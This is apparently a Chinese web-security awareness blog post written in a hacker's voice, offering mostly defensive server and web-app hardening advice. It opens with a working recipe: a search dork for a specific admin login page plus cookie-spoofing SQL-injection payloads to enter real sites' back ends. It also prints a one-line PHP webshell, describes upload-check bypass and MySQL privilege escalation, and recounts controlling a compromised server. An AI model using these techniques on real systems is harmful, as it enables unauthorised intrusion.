從勒索病毒就能夠看出,其實病毒離咱們並不遠……javascript
隨着對黑客淺略地瞭解,慢慢知道了這個鬼東西是一個多麼可怕的存在。php
但願能經過這篇文章,讓一些和以前的我同樣沒有對黑客一詞引發重視的人,加深一下對這方面的瞭解和關注!前端
接下來就以第一人稱 「咱們」
來表明黑客,談談Web安全吧(我的拙見)!java
爲達到拋磚引玉的效果,咱們來動手作個小試驗,用簡單的方法進入網站後臺管理系統,只需三步:mysql
inurl:szwyadmin/login.asp
,隨便點擊進入一個網站;javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
javascript:alert(document.cookie="admindj="+escape("1"));
複製代碼
login.asp
改成 admin_index.asp
,Enter一下! OK,如今咱們就已經進入後臺管理系統了!由上可看出,使用Cookie欺騙+SQL注入的這麼3條JS語句(payload
),就能夠打開後臺管理系統的大門。jquery
不注重安全的網站是多麼做死的一件事啊……c++
一句話木馬
:網頁木馬的一種,代碼相似於 「<%execute request("value")%>」 。因代碼短小(通常只有一句話 )而得名,主要用於拿取WebShell。WebShell
:以asp、php、jsp或者cgi等網頁文件形式存在,也能夠將其稱作爲一種網頁後門。 可使用瀏覽器來訪問它,以獲得一個命令執行環境,以達到控制網站服務器的目的。XSS
:惡意攻擊者往Web頁面裏插入惡意Script代碼
,當用戶瀏覽該頁面時,嵌入其中的Script代碼將被執行,從而達到惡意攻擊的目的。SQL注入
: 攻擊者構造惡意SQL語句
,隨HTTP請求一塊兒傳入服務器,以達到操縱數據庫的目的(如上面的'or'='or'便是一次最簡單的SQL注入)。肉雞
: 肉雞也稱傀儡機,是指能夠被黑客遠程控制的機器。黑客經常經過種植木馬,來達到遠控的目的。方式有不少:CobaltStrike等製做惡意Word文件,點擊中馬、經過WebShell上傳木馬、郵件中馬……so,就以我目前瞭解的程度(入門級 o(∩_∩)o),從如下三方面來談談在下對 Web安全的一些見解:web
事實上,Secure by Default 原則也能夠概括爲白名單黑名單思想。算法
若是更多地使用白名單,那麼系統就會變得更安全。 一白帽子講 Web安全
複製代碼
舉個例子吧:sql
某天你發現你服務器的 C:\Users\ 目錄(或Linux的 /home/ 目錄下)多出了一個陌生的文件夾?
複製代碼
這一般說明:你的服務器已被 「咱們」
登陸過了,那麼,該怎麼辦呢?
經過如Windows的事件查看器等來查到 「咱們」 的IP;
防火牆增長一條入站規則:限制該IP使用3389端口(遠程桌面,Linux爲22端口)。
複製代碼
以上即是黑名單思想!
一樣,咱們也能夠預見:黑名單方式並不能真正解決問題!
由於 「咱們」
徹底能夠經過已控肉雞爲跳板,或直接使用代理的方式來更換IP。
因此你們應該更多地去使用白名單策略。
配置防火牆只容許特定IP訪問,具體配置順序是先拒絕全部IP,而後容許某些特定IP訪問。如下是具體命令:
#Windows
netsh firewall set portopening TCP 3389 遠程桌面 ENABLE CUSTOM [容許訪問的IP]
#Linux,IP格式也支持形如 192.168.0.0/16 的掩碼方式的IP段
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -s [容許訪問的IP] -j ACCEPT
複製代碼
你們都知道的一些經常使用軟件的默認端口:330六、143三、152一、3690、637九、5938 等。
以上這些,大家知道, 「咱們」
也知道。這些端口都有可能被 「咱們」
拿來作大範圍IP段的端口漏洞掃描!
因此,能夠考慮修改一下某些重要軟件的默認端口。這樣能夠躲避大多數的常規掃描。
仍是舉個例子,如下是 護衛神 默認安裝後的首頁,裏面的默認參數百出:
就問一句,這種東西,你怕不怕?舉個例子:
這個是全球知名的漏洞平臺:exploit-db
網站上面公佈的某個漏洞(這不由又讓我想起了被封掉的烏雲平臺)。
2018年9月份公佈的一個關於JQ上傳插件的一個0 day漏洞
:
何爲0 day? 說白了就是第一手漏洞,系統商甚至都還徹底不知情。這類漏洞危害很大,甚至被黑客們用了好幾年,才被公佈出來!
用這個漏洞能夠幹嗎? 很簡單:很是容易地上傳一句話網馬、拿到WebShell、後提權、種植木馬、留下後門……
簡單到什麼程度? 隨便一個會用 Postman 的人都能上傳!
好了,因此說,我的安全意識也很重要!
例中能夠看到,某些網站會常常性地披露漏洞。而若是這些漏洞被「咱們」
利用,製做了相應的木馬。而你的服務器(包括我的PC)恰好還未進行系統升級或打上相應的補丁,那麼你就有可能會成爲「咱們」
的肉雞。
因此,有意識地爲系統升級、打打補丁、逛逛 Hacker News,仍是頗有必要的!
另外,一些殺毒軟件你也是應該安裝的。如今的殺毒軟件能殺掉大部分的流行病毒。
而做爲服務器,安全狗、護衛神這類防護軟件也是須要的,它們除了擁有攻擊防禦的功能以外,還能找到殺毒軟件沒法查殺的一句話木馬。
最後還得友情提醒一句:儘可能不要在你的服務器上進行一些敏感操做(如轉帳等),由於也許「咱們」
正經過VNC Viewer、鍵盤記錄等功能,監視、記錄着你的屏幕和鍵盤呢……
給不一樣軟件分配不一樣的用戶
,作到垂直權限管理,即:root
>mysql
>訪客
如:安裝MySQL,應新建一個mysql的用戶,它只擁有特定文件夾和文件的讀寫權限,用於數據備份和恢復。
一旦你分配了高權限給mysql,當咱們爆破mysql帳戶密碼後,就可使用SQL語句的
dump
、outfile
命令寫入木馬文件到你電腦的lib\plugin
或c:\windows\system32\
等關鍵目錄,以後即便用 udf提權 等方式,得到你電腦的超級管理員權限。
一、mysql用戶應沒法寫入文件到apache目錄(防止mysql寫入網頁木馬到網站目錄,以拿取webshell); 二、apache用戶沒法寫入文件到mysql相關目錄(防止利用上傳漏洞寫入udf.dll等文件,從而進行 udf提權 )。
針對阿里雲服務器,一個叫作安全組
的功能非常好用,它將是你的第二道防火牆!
它的做用相似於電腦防火牆,能夠添加容許訪問的IP、IP段和端口等;也能夠添加阻止訪問的IP、端口。
固然安全組策略的配置也應遵照「Secure by Default」 原則!
你應該優先配置安全組策略而不是本機防火牆!
由於「咱們」
一旦得到了你網站的WebShell(或服務器的反彈Shell等),那麼「咱們」
是能夠經過命令來隨意關閉你的防火牆的,可是想要操縱安全組卻不行!
說到這兒,忽然想起了上次的一個肉雞服務器:
1. 他察覺到個人存在;<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
2. 而後立馬修改了安全組白名單;
3. 我這兒邊,cmd看到他的防火牆被我關掉了,3389也一直開放着,但就是遠程不上 (┬_┬) 。
複製代碼
另外,阿里雲盾也是一個好幫手,目前阿里雲盾提供免費的DDoS防禦、安騎士、弱點分析等功能。
若是沒有特殊須要,服務器能夠考慮關閉 ICMP 協議,說白點,就是禁止ping!
若是不須要使用mysql的dump
或outfile
函數進行數據備份,那麼請考慮使用 secure_file_priv
模式啓動mysql。
「咱們」
爆破過許多mysql帳戶密碼,可是大多都是以沒法導出文件而了結,這讓「咱們」
很傷……我就直接說說對於Web後臺的幾個小建議吧!
應保證上傳目錄不具備可執行權限
咱們能夠設置上傳路徑
可讀可寫不可執行
。固然個人建議是,經過諸如Nginx服務器,爲靜態資源(上傳的文件)配置靜態資源服務器,其本質就是經過location
對url請求
和服務器物理路徑
進行虛擬映射。
能夠的話,最好單獨設置靜態資源服務器的域名,這樣可因瀏覽器同源策略的關係,使得一系列客戶端攻擊無效(如XSS)。
上傳文件類型的校驗操做放在服務器端
首先說說爲什麼要進行上傳類型校驗,我看來緣由有二:
一、限制一些無關後綴名的文件上傳,致使帶寬浪費和服務器性能開銷;
二、防止攻擊者上傳xx.php或xxx.asp等網頁木馬,從而拿到webshell。
那爲何校驗要放在服務器端進行呢?
這裏我直接舉個例子來講明:
一、某網站使用JS來進行上傳校驗,咱們上傳了一張包含惡意代碼的圖片
二、而後使用 Burpsuite 或 Wireshark 等工具對該請求進行抓包
三、拿到十六進制包文件,改掉相應數據使得上傳文件後綴名變爲.php或.asp
四、這樣騙過了前端,上傳了一句話網頁木馬!
後臺管理入口的隱藏(包括你的phpMyAdmin)
「咱們」
一旦找到了你的後臺管理入口,就會使用各類技術進行爆破,後臺密碼爆破
、Cookie欺騙
、中轉註入
等,這大大增長了網站服務器的危險係數。
記得以前看過 職來職往 的一期節目,裏面一個騷年當說出:找到了58同城的後臺管理入口,就語驚四座!
因此,隱藏後臺管理入口是一件頗有必要的事情。
另外值得一提的是,把數據庫和服務器進行分離將會提升服務器的安全性,由於
「咱們」
有時爆破數據庫後,老是苦於沒法得知它的網站是什麼。 固然若是條件有限,也可使用Nginx等配置虛擬主機將其進行隔離。
敏感文件的隱藏
一、網站存在
robots.txt
、web.sitemap
等文件,可能會泄露網站目錄結構;
二、織夢默認的
xxx.com/data/admin/ver.txt
文件會泄露當前織夢繫統的版本。而通常「咱們」
就能夠根據版本號去找相應織夢繫統的漏洞,如:
三、phpinfo.php等敏感文件的處理或隱藏 這個文件我得多說一下,它能夠幫助
「咱們」
找到你的網站在你服務器的絕對路徑,這對「咱們」
來講是一件很是有幫助的事。由於知曉了網站根目錄的絕對路徑,就能夠經過SQL注入把網頁木馬寫到你的網站目錄下;
四、源碼和數據庫備份文件的隱藏 這是很是很是重要的!儘可能不要將源碼文件放在網站目錄中(除非設置所在文件夾訪問403)。不然
「咱們」
不免會使用爬蟲
、目錄掃描
等手段找到你的源碼並下載下來,而後經過代碼審計
等方式,很快找到你代碼中的一些敏感的東西,好比加密規則、數據庫鏈接密碼、支付密鑰等……
敏感配置參數的隱藏
一、支付相關的敏感參數,如商戶號、支付私鑰等 。
二、上傳類型後綴名、禁用的函數名等敏感配置,這類配置參數,其實放在代碼裏就行。而織夢將其放在了數據庫:
這將致使「咱們」
在爆破到數據庫後,經過添加容許上傳的後綴名(如.php)來上傳網頁木馬、刪除禁用函數(如eval)來執行網頁木馬。
軟件漏洞的關注
一、正使用着Struts2,那麼咱們就有理由去關注一下Struts2的命令執行漏洞;
二、正在使用FckEditor、eWebEditor等富文本編輯器,它們給咱們帶來了豐富的輸入,同時也給咱們帶來了許多的漏洞;
三、正使用Apache、Nginx、IIS,就應該瞭解一下Apache、IIS文件解析問題、Nginx的fastcgi的文件類型解析問題。
加密
一、加密時不要使用ECB模式;
二、使用HMAC-SHA1代替MD5(甚至SHA1);
三、使用隨機的salts(鹽)和IV(向量)。
代碼
一、使用預編譯(如Java的Preparedstatement)來防止SQL注入;
二、使用view層的
輸出編碼
來解決XSS攻擊
前面一直在說拿WebShell、拿WebShell,那麼,拿到WebShell後能作什麼事情呢?
通常來講,可進行文件上傳下載、執行cmd命令等等。
下面咱們看看著名的一句話木馬以及它的鏈接工具---中國菜刀(替代品:蟻劍):
#一句話木馬
<?php @eval($_POST[value]);?>
複製代碼
中國菜刀:
如下是php大馬進行了編碼假裝後的樣子:
訪問倒是這樣:中遠控木馬後,成爲肉雞:
上面能夠看到,基本上 服務器全部者能作的,你差很少都能作了!實在作不了的,立刻添加一個用戶,遠程桌面去作……
操做防火牆、修改註冊表、操做計劃任務、操做系統服務,當前還有最基本的**添加用戶**和**隱藏用戶**等命令。
一樣的添加用戶、刪除用戶、操做iptables防火牆、vi、tar、chkconifg、chmod、ps……
SQL注入瞭解一下?
JS不會,你搞什麼XSS?搞什麼CSRF?
爆破是一門技術活,熟悉加密算法、擁有好的字典、牛逼的社會工程學知識都能讓你在爆破速度上面有質的提高。
網馬不就是利用這些語言腳本寫出來的嘛。另外好比c++,灰鴿子和不少木馬工具也是經過c++寫的,不瞭解一下就只能長期買別人的遠控軟件,甚至還帶着別人的後門木馬……
如dns、tcp(tcp的syn)、udp、icmp、http等,在進行dns隧道、DDoS、網絡嗅探、arp欺騙等都用得着。
如免殺技術、提權、滲透技術、爬蟲、抓包分析等。